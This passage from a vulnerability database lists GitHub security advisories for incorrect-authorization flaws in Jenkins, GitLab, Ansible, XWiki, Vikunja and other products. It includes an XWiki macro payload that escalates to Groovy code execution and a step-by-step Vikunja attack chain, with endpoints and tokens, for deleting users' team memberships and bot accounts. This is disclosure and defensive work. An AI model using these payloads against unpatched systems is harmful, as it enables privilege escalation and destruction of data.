CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
8003 vulnerabilities reference this CWE, most recent first.
GHSA-3297-944X-J7X7
Vulnerability from github – Published: 2022-05-13 01:16 – Updated: 2022-11-02 00:42Jenkins before versions before 2.44 are vulnerable to an insufficient permission check for periodic processes (SECURITY-389). The URLs /workspaceCleanup and /fingerprintCleanup did not perform permission checks, allowing users with read access to Jenkins to trigger these background processes (that are otherwise performed daily), possibly causing additional load on Jenkins master and agents.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.44"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-2611"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2022-11-02T00:42:19Z",
"nvd_published_at": "2018-05-08T18:29:00Z",
"severity": "MODERATE"
},
"details": "Jenkins before versions before 2.44 are vulnerable to an insufficient permission check for periodic processes (SECURITY-389). The URLs /workspaceCleanup and /fingerprintCleanup did not perform permission checks, allowing users with read access to Jenkins to trigger these background processes (that are otherwise performed daily), possibly causing additional load on Jenkins master and agents.",
"id": "GHSA-3297-944x-j7x7",
"modified": "2022-11-02T00:42:19Z",
"published": "2022-05-13T01:16:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-2611"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/97a61a9fe55f4c16168c123f98301a5173b9fa86"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-2611"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2017-02-01"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/95956"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Incorrect Authorization in Jenkins Core"
}
GHSA-329P-RHMW-5HXX
Vulnerability from github – Published: 2025-01-21 21:30 – Updated: 2025-01-21 21:30Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Web Runtime SEC). Supported versions that are affected are Prior to 9.2.9.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 4.3 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N).
{
"affected": [],
"aliases": [
"CVE-2025-21517"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-21T21:15:17Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Web Runtime SEC). Supported versions that are affected are Prior to 9.2.9.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 4.3 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N).",
"id": "GHSA-329p-rhmw-5hxx",
"modified": "2025-01-21T21:30:55Z",
"published": "2025-01-21T21:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21517"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2025.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-32C7-MV5C-M5RR
Vulnerability from github – Published: 2021-12-14 00:00 – Updated: 2022-07-13 00:01Improper access control allows any project member to retrieve the service desk email address in GitLab CE/EE versions starting 12.10 before 14.3.6, all versions starting from 14.4 before 14.4.4, all versions starting from 14.5 before 14.5.2.
{
"affected": [],
"aliases": [
"CVE-2021-39934"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-13T16:15:00Z",
"severity": "MODERATE"
},
"details": "Improper access control allows any project member to retrieve the service desk email address in GitLab CE/EE versions starting 12.10 before 14.3.6, all versions starting from 14.4 before 14.4.4, all versions starting from 14.5 before 14.5.2.",
"id": "GHSA-32c7-mv5c-m5rr",
"modified": "2022-07-13T00:01:39Z",
"published": "2021-12-14T00:00:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39934"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1360744"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-39934.json"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/342823"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-32FR-79CM-96P3
Vulnerability from github – Published: 2022-05-14 02:22 – Updated: 2022-05-14 02:22Adobe Flash Player before 18.0.0.366 and 19.x through 22.x before 22.0.0.209 on Windows and OS X and before 11.2.202.632 on Linux allows attackers to bypass intended access restrictions and obtain sensitive information via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2016-4178"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-07-13T01:59:00Z",
"severity": "MODERATE"
},
"details": "Adobe Flash Player before 18.0.0.366 and 19.x through 22.x before 22.0.0.209 on Windows and OS X and before 11.2.202.632 on Linux allows attackers to bypass intended access restrictions and obtain sensitive information via unspecified vectors.",
"id": "GHSA-32fr-79cm-96p3",
"modified": "2022-05-14T02:22:51Z",
"published": "2022-05-14T02:22:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-4178"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2016:1423"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-093"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/flash-player/apsb16-25.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2016-07/msg00016.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2016-07/msg00017.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/91723"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1036280"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-32MF-57H2-64X9
Vulnerability from github – Published: 2025-07-14 22:03 – Updated: 2025-07-15 00:35Impact
The default macro content parser didn't preserve the restricted attribute of the transformation context when executing nested macros. This allows executing macros that are normally forbidden in restricted mode, in particular script macros. The cache and chart macros that are bundled in XWiki use the vulnerable feature. The following XWiki syntax, when used inside a comment in XWiki, demonstrates the privilege escalation from comment right to programming right and thus remote code execution (RCE) that is possible due to this:
{{cache}}{{groovy}}println("Hello from Groovy!"){{/groovy}}{{/cache}}
This vulnerability exists since the restricted attribute has been added to the transformation context in version 4.2.
Patches
This has been patched in XWiki 13.10.11, 14.4.7 and 14.10.
Workarounds
To avoid the exploitation of this bug, comments can be disabled for untrusted users until an upgrade to a patched version has been performed. Note that users with edit rights will still be able to add comments via the object editor even if comments have been disabled.
Resources
- https://github.com/xwiki/xwiki-rendering/commit/c73fa3ccd4ac59057e48e5d4325f659e78e8f86d
- https://jira.xwiki.org/browse/XRENDERING-689
- https://jira.xwiki.org/browse/XWIKI-20375
For more information
If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List
Attribution
This vulnerability has been reported on Intigriti by René de Sain @renniepak.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.rendering:xwiki-rendering-transformation-macro"
},
"ranges": [
{
"events": [
{
"introduced": "4.2-milestone-1"
},
{
"fixed": "13.10.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.rendering:xwiki-rendering-transformation-macro"
},
"ranges": [
{
"events": [
{
"introduced": "14.0"
},
{
"fixed": "14.4.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.rendering:xwiki-rendering-transformation-macro"
},
"ranges": [
{
"events": [
{
"introduced": "14.5"
},
{
"fixed": "14.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-53836"
],
"database_specific": {
"cwe_ids": [
"CWE-863",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-14T22:03:06Z",
"nvd_published_at": "2025-07-15T00:15:22Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nThe default macro content parser didn\u0027t preserve the restricted attribute of the transformation context when executing nested macros. This allows executing macros that are normally forbidden in restricted mode, in particular script macros. The [cache](https://extensions.xwiki.org/xwiki/bin/view/Extension/Cache%20Macro) and [chart](https://extensions.xwiki.org/xwiki/bin/view/Extension/Chart%20Macro) macros that are bundled in XWiki use the vulnerable feature. The following XWiki syntax, when used inside a comment in XWiki, demonstrates the privilege escalation from comment right to programming right and thus remote code execution (RCE) that is possible due to this:\n\n```\n{{cache}}{{groovy}}println(\"Hello from Groovy!\"){{/groovy}}{{/cache}}\n```\n\nThis vulnerability exists since the restricted attribute has been added to the transformation context in version 4.2.\n\n### Patches\nThis has been patched in XWiki 13.10.11, 14.4.7 and 14.10.\n\n### Workarounds\nTo avoid the exploitation of this bug, comments can be disabled for untrusted users until an upgrade to a patched version has been performed. Note that users with edit rights will still be able to add comments via the object editor even if comments have been disabled.\n\n### Resources\n* https://github.com/xwiki/xwiki-rendering/commit/c73fa3ccd4ac59057e48e5d4325f659e78e8f86d\n* https://jira.xwiki.org/browse/XRENDERING-689\n* https://jira.xwiki.org/browse/XWIKI-20375\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n\n### Attribution\n\nThis vulnerability has been reported on Intigriti by Ren\u00e9 de Sain @renniepak.",
"id": "GHSA-32mf-57h2-64x9",
"modified": "2025-07-15T00:35:24Z",
"published": "2025-07-14T22:03:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-rendering/security/advisories/GHSA-32mf-57h2-64x9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53836"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-rendering/commit/c73fa3ccd4ac59057e48e5d4325f659e78e8f86d"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-rendering"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XRENDERING-689"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-20375"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "XWiki Rendering is vulnerable to RCE attacks when processing nested macros"
}
GHSA-32P4-GM2C-WMCH
Vulnerability from github – Published: 2024-11-06 12:31 – Updated: 2025-11-04 16:53A flaw was found in Ansible. The ansible-core user module can allow an unprivileged user to silently create or replace the contents of any file on any system path and take ownership of it when a privileged user executes the user module against the unprivileged user's home directory. If the unprivileged user has traversal permissions on the directory containing the exploited target file, they retain full control over the contents of the file as its owner.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ansible-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.14.18rc1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "ansible-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.15.0b1"
},
{
"fixed": "2.15.13rc1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "ansible-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.16.0b1"
},
{
"fixed": "2.16.13rc1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "ansible-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.17.0b1"
},
{
"fixed": "2.17.6rc1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "ansible-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.18.0b1"
},
{
"fixed": "2.18.0rc2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-9902"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-06T15:37:19Z",
"nvd_published_at": "2024-11-06T10:15:06Z",
"severity": "MODERATE"
},
"details": "A flaw was found in Ansible. The ansible-core `user` module can allow an unprivileged user to silently create or replace the contents of any file on any system path and take ownership of it when a privileged user executes the `user` module against the unprivileged user\u0027s home directory. If the unprivileged user has traversal permissions on the directory containing the exploited target file, they retain full control over the contents of the file as its owner.",
"id": "GHSA-32p4-gm2c-wmch",
"modified": "2025-11-04T16:53:27Z",
"published": "2024-11-06T12:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9902"
},
{
"type": "WEB",
"url": "https://github.com/ansible/ansible/commit/03794735d370db98a5ec2ad514fab2b0dd22d6be"
},
{
"type": "WEB",
"url": "https://github.com/ansible/ansible/commit/03daf774d0d80fb7235910ed1c2b4fbcaebdfe65"
},
{
"type": "WEB",
"url": "https://github.com/ansible/ansible/commit/3b6de811abea0a811e03e3029222a7e459922892"
},
{
"type": "WEB",
"url": "https://github.com/ansible/ansible/commit/9d7312f695639e804d2caeb1d0f51c716a9ac7dd"
},
{
"type": "WEB",
"url": "https://github.com/ansible/ansible/commit/f7be90626da3035c697623dcf9c90b7a0bc91c92"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:10762"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:8969"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:9894"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:1861"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2024-9902"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2318271"
},
{
"type": "PACKAGE",
"url": "https://github.com/ansible/ansible"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/11/msg00021.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "ansible-core Incorrect Authorization vulnerability"
}
GHSA-32R8-5843-4QW2
Vulnerability from github – Published: 2026-10-09 20:43 – Updated: 2026-10-27 15:18Summary
Vikunja's web.Auth interface (pkg/web/web.go, single method GetID() int64) is satisfied by BOTH *user.User and *models.LinkSharing. A link-share's GetID() returns the raw positive share.ID (pkg/models/link_sharing.go:83-85), which lives in the same positive autoincrement ID space as users.id. The safe negated form getUserID() = share.ID * -1 (link_sharing.go:126-128) exists but is NOT used at three permission sinks. As a result, a link-share principal with id N — which should have zero authority over teams or bot users — is treated as the user whose users.id == N at three permission checks that lack the a.(*LinkSharing) guard their sibling methods have. This is the same principal-type-confusion class as CVE-2026-68581 (GHSA-vvcv-vpph-h844), but at three code paths that advisory/fix never touched.
Root Cause
web.Auth is a one-method interface (GetID() int64). *LinkSharing.GetID() returns the raw positive share id. Three permission methods compare this raw id directly and omit the link-share type guard used elsewhere in the same files:
TeamMember.CanDelete(pkg/models/team_members_permissions.go:31-40): the self-removal fast pathif u.ID == a.GetID() { return true }(:36) executes beforeIsAdmin.IsAdmin(:48-51) is the ONLY place that rejects link shares (if _, is := a.(*LinkSharing); is { return false }, :50) — and it is never reached when the fast path returns true.BotUser.isOwner(pkg/models/bot_users_permissions.go:47-56):return u.BotOwnerID == a.GetID()(:55), used byCanRead/CanUpdate/CanDelete(:36-45). UnlikeCanCreate(:27-30) which type-assertsa.(*user.User), these three paths have no principal guard.Team.CanRead(pkg/models/teams_permissions.go:68-78): matches membership onAnd("user_id = ?", a.GetID())(:76) with no link-share guard, unlike siblingIsAdmin(:45-49, guard at :47).
Link-share JWTs reach these routes: SetupTokenMiddleware validates the signature only, GetAuthFromClaims returns *models.LinkSharing, and the /user//teams route groups add no link-share rejection. Link sharing is enabled by default (config.go ServiceEnableLinkSharing.setDefault(true)).
Impact
A link-share principal (obtainable from any public share link, or self-registered via a share on the attacker's own project) whose id N collides with a victim's users.id == N can, without being that user or any user:
- Integrity (I:H): remove the victim from any team they belong to (DELETE /api/v1/teams/{T}/members/{username}) → revokes all project permissions the victim inherited through that team.
- Availability/Integrity (A:H, I:H): enumerate the victim's bot users (GET /api/v1/user/bots → bot_owner_id = a.GetID()), then disable/rename or permanently delete them (DELETE /api/v1/user/bots/{id} → DeleteUser), destroying data owned solely by those bots.
- Confidentiality (C:H): read the roster + metadata (name, description, full member list) of any team the colliding user belongs to (GET /api/v1/teams/{T}), plus read bot-user records via isOwner-gated reads.
Attack Chain
Sink 1 — TeamMember.CanDelete (integrity)
- Entry:
POST /api/v1/shares/{hash}/auth→ link-share JWT withid = N. Guard: JWT middleware — signature only. Bypass proof:GetAuthFromClaimsreturns*models.LinkSharing; no route-group link-share rejection on the/teamsgroup. - Action:
DELETE /api/v1/teams/{T}/members/{usernameOfUserN}with the link-share bearer, targeting a teamT(≥2 members) that userNbelongs to. Guard:CanDelete→GetUserByUsername(tm.Username)returns user N, thenu.ID == a.GetID()(team_members_permissions.go:36). Bypass proof:a.GetID()returnsN(raw positiveshare.ID,link_sharing.go:84) == user N's id →true. Noa.(*LinkSharing)check on this branch (onlyIsAdminat :50 has it, never reached). - Sink:
Delete(team_members.go) removes user N from team T (last-member check passes when team has ≥2 members). Impact: victim loses all project access inherited through team T.
Sink 2 — BotUser.isOwner (bot takeover / destruction)
- Entry: link-share JWT id N (as above). Guard: signature-only;
/usergroup adds no link-share reject. - Enumerate:
GET /api/v1/user/bots→ReadAllrunsWhere("bot_owner_id = ?", a.GetID())= bots owned by user N. Bypass proof:a.GetID()= N; returns victim's bot ids self-contained (removes the id-guessing barrier). - Sink:
DELETE /api/v1/user/bots/{botId}→CanDelete→isOwner→u.BotOwnerID == a.GetID()(bot_users_permissions.go:55) → true;DeletecallsDeleteUser. Bypass proof: noa.(*LinkSharing)guard here (Create-only, :28). Impact: disable/rename/permanently delete victim's bot automation identities.
Sink 3 — Team.CanRead (info disclosure)
- Entry: link-share JWT id N. Guard: signature-only; no reject on
GET /teams/:team. - Sink:
GET /api/v1/teams/{T}→CanReadrunsWhere("team_id=?", t.ID).And("user_id=?", a.GetID()).Get(tm)(teams_permissions.go:74-77). Bypass proof:a.GetID()= N matches user N'steam_membersrow →can = true; noa.(*LinkSharing)check (contrastIsAdminat :47). Impact: read roster + metadata of a team the link share is not part of.
Bypass Evidence
link_sharing.go:83-85GetID()returns raw positiveshare.ID(NOT the negatedgetUserID()at :126-128).team_members_permissions.go:36rawu.ID == a.GetID()beforeIsAdmin; the LinkSharing guard sits at :50 on a branch never reached when the fast path returns true.bot_users_permissions.go:55rawu.BotOwnerID == a.GetID(); thea.(*user.User)guard at :28 is Create-only and NOT replicated onisOwner.teams_permissions.go:76rawa.GetID()inCanRead; siblingIsAdminhas the guard at :47,CanReadomits it.- All three sinks verified present on latest release tag
v2.4.0(git show v2.4.0:<file>). No fix commits touch these files between v2.4.0 and HEAD (the only post-tag commit to link_sharing.go,c580d51, merely shadows an embedded Update method).
Affected Versions
<= 2.4.0 (latest release; also present on HEAD of main). Requires default-enabled link sharing.
Exploitability Constraint (reflected in AC:H)
The attacker cannot freely choose the colliding id — link_shares.id is autoincrement. Exploitation is (a) opportunistic (a guest holding a share with id N attacks the user whose users.id == N) or (b) targeted (self-register and walk the autoincrement toward a chosen id; low-numbered shares collide with low-numbered/early/admin accounts). This is the identical constraint the accepted CVE-2026-68581 had; it affects target selection (AC), not reachability of the boundary crossing.
Suggested Fix
Add the link-share principal guard (if _, is := a.(*LinkSharing); is { return false }) — which IsAdmin/CanCreate already use — to all three sinks: the TeamMember.CanDelete self-removal fast path (before the u.ID == a.GetID() check), BotUser.isOwner, and Team.CanRead. Alternatively, resolve principals through getUserID() (negated id space) at every permission check so link-share ids can never collide with user ids.
Reported by zx (Jace) — GitHub: @manus-use
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.vikunja.io/api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-76216"
],
"database_specific": {
"cwe_ids": [
"CWE-639",
"CWE-843",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-09T20:43:40Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\nVikunja\u0027s `web.Auth` interface (`pkg/web/web.go`, single method `GetID() int64`) is satisfied by BOTH `*user.User` and `*models.LinkSharing`. A link-share\u0027s `GetID()` returns the **raw positive** `share.ID` (`pkg/models/link_sharing.go:83-85`), which lives in the same positive autoincrement ID space as `users.id`. The safe negated form `getUserID() = share.ID * -1` (`link_sharing.go:126-128`) exists but is NOT used at three permission sinks. As a result, a link-share principal with id `N` \u2014 which should have zero authority over teams or bot users \u2014 is treated as the *user* whose `users.id == N` at three permission checks that lack the `a.(*LinkSharing)` guard their sibling methods have. This is the same principal-type-confusion class as CVE-2026-68581 (GHSA-vvcv-vpph-h844), but at three code paths that advisory/fix never touched.\n\n## Root Cause\n`web.Auth` is a one-method interface (`GetID() int64`). `*LinkSharing.GetID()` returns the raw positive share id. Three permission methods compare this raw id directly and omit the link-share type guard used elsewhere in the same files:\n\n1. **`TeamMember.CanDelete`** (`pkg/models/team_members_permissions.go:31-40`): the self-removal fast path `if u.ID == a.GetID() { return true }` (:36) executes **before** `IsAdmin`. `IsAdmin` (:48-51) is the ONLY place that rejects link shares (`if _, is := a.(*LinkSharing); is { return false }`, :50) \u2014 and it is never reached when the fast path returns true.\n2. **`BotUser.isOwner`** (`pkg/models/bot_users_permissions.go:47-56`): `return u.BotOwnerID == a.GetID()` (:55), used by `CanRead`/`CanUpdate`/`CanDelete` (:36-45). Unlike `CanCreate` (:27-30) which type-asserts `a.(*user.User)`, these three paths have no principal guard.\n3. **`Team.CanRead`** (`pkg/models/teams_permissions.go:68-78`): matches membership on `And(\"user_id = ?\", a.GetID())` (:76) with no link-share guard, unlike sibling `IsAdmin` (:45-49, guard at :47).\n\nLink-share JWTs reach these routes: `SetupTokenMiddleware` validates the signature only, `GetAuthFromClaims` returns `*models.LinkSharing`, and the `/user`/`/teams` route groups add no link-share rejection. Link sharing is enabled by default (`config.go` `ServiceEnableLinkSharing.setDefault(true)`).\n\n## Impact\nA link-share principal (obtainable from any public share link, or self-registered via a share on the attacker\u0027s own project) whose id `N` collides with a victim\u0027s `users.id == N` can, without being that user or any user:\n- **Integrity (I:H):** remove the victim from any team they belong to (`DELETE /api/v1/teams/{T}/members/{username}`) \u2192 revokes all project permissions the victim inherited through that team.\n- **Availability/Integrity (A:H, I:H):** enumerate the victim\u0027s bot users (`GET /api/v1/user/bots` \u2192 `bot_owner_id = a.GetID()`), then disable/rename or **permanently delete** them (`DELETE /api/v1/user/bots/{id}` \u2192 `DeleteUser`), destroying data owned solely by those bots.\n- **Confidentiality (C:H):** read the roster + metadata (name, description, full member list) of any team the colliding user belongs to (`GET /api/v1/teams/{T}`), plus read bot-user records via `isOwner`-gated reads.\n\n## Attack Chain\n\n### Sink 1 \u2014 TeamMember.CanDelete (integrity)\n1. **Entry:** `POST /api/v1/shares/{hash}/auth` \u2192 link-share JWT with `id = N`. **Guard:** JWT middleware \u2014 signature only. **Bypass proof:** `GetAuthFromClaims` returns `*models.LinkSharing`; no route-group link-share rejection on the `/teams` group.\n2. **Action:** `DELETE /api/v1/teams/{T}/members/{usernameOfUserN}` with the link-share bearer, targeting a team `T` (\u22652 members) that user `N` belongs to. **Guard:** `CanDelete` \u2192 `GetUserByUsername(tm.Username)` returns user N, then `u.ID == a.GetID()` (`team_members_permissions.go:36`). **Bypass proof:** `a.GetID()` returns `N` (raw positive `share.ID`, `link_sharing.go:84`) == user N\u0027s id \u2192 `true`. No `a.(*LinkSharing)` check on this branch (only `IsAdmin` at :50 has it, never reached).\n3. **Sink:** `Delete` (`team_members.go`) removes user N from team T (last-member check passes when team has \u22652 members). **Impact:** victim loses all project access inherited through team T.\n\n### Sink 2 \u2014 BotUser.isOwner (bot takeover / destruction)\n1. **Entry:** link-share JWT id N (as above). **Guard:** signature-only; `/user` group adds no link-share reject.\n2. **Enumerate:** `GET /api/v1/user/bots` \u2192 `ReadAll` runs `Where(\"bot_owner_id = ?\", a.GetID())` = bots owned by user N. **Bypass proof:** `a.GetID()` = N; returns victim\u0027s bot ids self-contained (removes the id-guessing barrier).\n3. **Sink:** `DELETE /api/v1/user/bots/{botId}` \u2192 `CanDelete` \u2192 `isOwner` \u2192 `u.BotOwnerID == a.GetID()` (`bot_users_permissions.go:55`) \u2192 true; `Delete` calls `DeleteUser`. **Bypass proof:** no `a.(*LinkSharing)` guard here (Create-only, :28). **Impact:** disable/rename/permanently delete victim\u0027s bot automation identities.\n\n### Sink 3 \u2014 Team.CanRead (info disclosure)\n1. **Entry:** link-share JWT id N. **Guard:** signature-only; no reject on `GET /teams/:team`.\n2. **Sink:** `GET /api/v1/teams/{T}` \u2192 `CanRead` runs `Where(\"team_id=?\", t.ID).And(\"user_id=?\", a.GetID()).Get(tm)` (`teams_permissions.go:74-77`). **Bypass proof:** `a.GetID()` = N matches user N\u0027s `team_members` row \u2192 `can = true`; no `a.(*LinkSharing)` check (contrast `IsAdmin` at :47). **Impact:** read roster + metadata of a team the link share is not part of.\n\n## Bypass Evidence\n- `link_sharing.go:83-85` `GetID()` returns raw positive `share.ID` (NOT the negated `getUserID()` at :126-128).\n- `team_members_permissions.go:36` raw `u.ID == a.GetID()` before `IsAdmin`; the LinkSharing guard sits at :50 on a branch never reached when the fast path returns true.\n- `bot_users_permissions.go:55` raw `u.BotOwnerID == a.GetID()`; the `a.(*user.User)` guard at :28 is Create-only and NOT replicated on `isOwner`.\n- `teams_permissions.go:76` raw `a.GetID()` in `CanRead`; sibling `IsAdmin` has the guard at :47, `CanRead` omits it.\n- All three sinks verified present on latest release tag `v2.4.0` (`git show v2.4.0:\u003cfile\u003e`). No fix commits touch these files between v2.4.0 and HEAD (the only post-tag commit to link_sharing.go, `c580d51`, merely shadows an embedded Update method).\n\n## Affected Versions\n`\u003c= 2.4.0` (latest release; also present on HEAD of `main`). Requires default-enabled link sharing.\n\n## Exploitability Constraint (reflected in AC:H)\nThe attacker cannot freely choose the colliding id \u2014 `link_shares.id` is autoincrement. Exploitation is (a) *opportunistic* (a guest holding a share with id N attacks the user whose `users.id == N`) or (b) *targeted* (self-register and walk the autoincrement toward a chosen id; low-numbered shares collide with low-numbered/early/admin accounts). This is the identical constraint the accepted CVE-2026-68581 had; it affects target selection (AC), not reachability of the boundary crossing.\n\n## Suggested Fix\nAdd the link-share principal guard (`if _, is := a.(*LinkSharing); is { return false }`) \u2014 which `IsAdmin`/`CanCreate` already use \u2014 to all three sinks: the `TeamMember.CanDelete` self-removal fast path (before the `u.ID == a.GetID()` check), `BotUser.isOwner`, and `Team.CanRead`. Alternatively, resolve principals through `getUserID()` (negated id space) at every permission check so link-share ids can never collide with user ids.\n\n---\nReported by **zx (Jace)** \u2014 GitHub: @manus-use",
"id": "GHSA-32r8-5843-4qw2",
"modified": "2026-10-27T15:18:32Z",
"published": "2026-10-09T20:43:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-32r8-5843-4qw2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76216"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/commit/a717d64d5658708ba390f18dd697f5e567e68aac"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-vikunja/vikunja"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.5.0"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vikunja-through-principal-type-confusion-via-linksharing"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
